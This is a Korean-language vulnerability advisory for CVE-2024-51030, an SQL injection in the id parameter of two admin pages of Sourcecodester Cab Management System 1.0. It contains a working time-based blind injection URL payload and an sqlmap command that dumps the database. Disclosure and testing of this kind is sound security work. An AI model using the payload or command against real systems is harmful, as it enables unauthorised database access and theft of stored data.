CVE-2024-51030
설명
Sourcecodester Cab Management System 1.0의 manage_client.php 및 view_cab.php에서 발견된 SQL 삽입 취약점으로, 원격 공격자가 id 매개변수를 통해 임의의 SQL 명령을 실행할 수 있습니다. 이로 인해 무단 액세스가 가능해지고 데이터베이스 내 민감한 데이터가 손상될 수 있습니다.
취약점 유형
SQL 인젝션
제품 공급업체
Sourcecodester
영향을 받는 제품 코드 베이스:
https://www.sourcecodester.com/php/15180/cab-management-system-phpoop-free-source-code.html - 1.0
영향을 받는 구성 요소:
Sourcecodester Cab Management System v1.0은 manage_client.php 및 view_cab.php 페이지의 id 매개변수를 통한 SQL 인젝션에 취약합니다.
공격 벡터:
- 애플리케이션을 로컬에 설정하고 기본 제공 관리자 자격 증명으로 로그인하거나 (staff)와 같은 낮은 권한의 관리자 사용자로 로그인할 수도 있습니다.
- 이제 브라우저에서 다음 URL로 이동합니다: http://localhost/cms/admin/?page=clients/manage_client&id=1
- SQL 페이로드 주입: URL의 id 매개변수를 boolean 기반 블라인드 또는 시간 기반 블라인드 SQL 인젝션 페이로드가 포함되도록 수정합니다:- http://localhost/cms/admin/?page=clients/manage_client&id=1%27%20AND%20(SELECT%202085%20FROM%20(SELECT(SLEEP(5)))LxyK)--%20mvKJ
- 애플리케이션 응답 관찰: 주입이 성공하면 페이지 로드에 눈에 띄게 더 오랜 시간(5초)이 걸리며, 이는 id 매개변수가 SQL 인젝션에 취약함을 확인하는 것입니다.
- 이제 SQLMap 도구를 사용하여 추가 공격 및 데이터베이스 덤프를 수행합니다. 아래 명령을 사용하세요: sqlmap -u "http://localhost/cms/admin/?page=clients/manage_client&id=1" -p id --dbms mysql --cookie="PHPSESSID=your_cookie" --risk 3 --level 4 --dbs --dump
참고 자료:
- https://owasp.org/www-community/attacks/SQL_Injection
- https://portswigger.net/web-security/sql-injection
vighneshnair7/cve-2024-51030
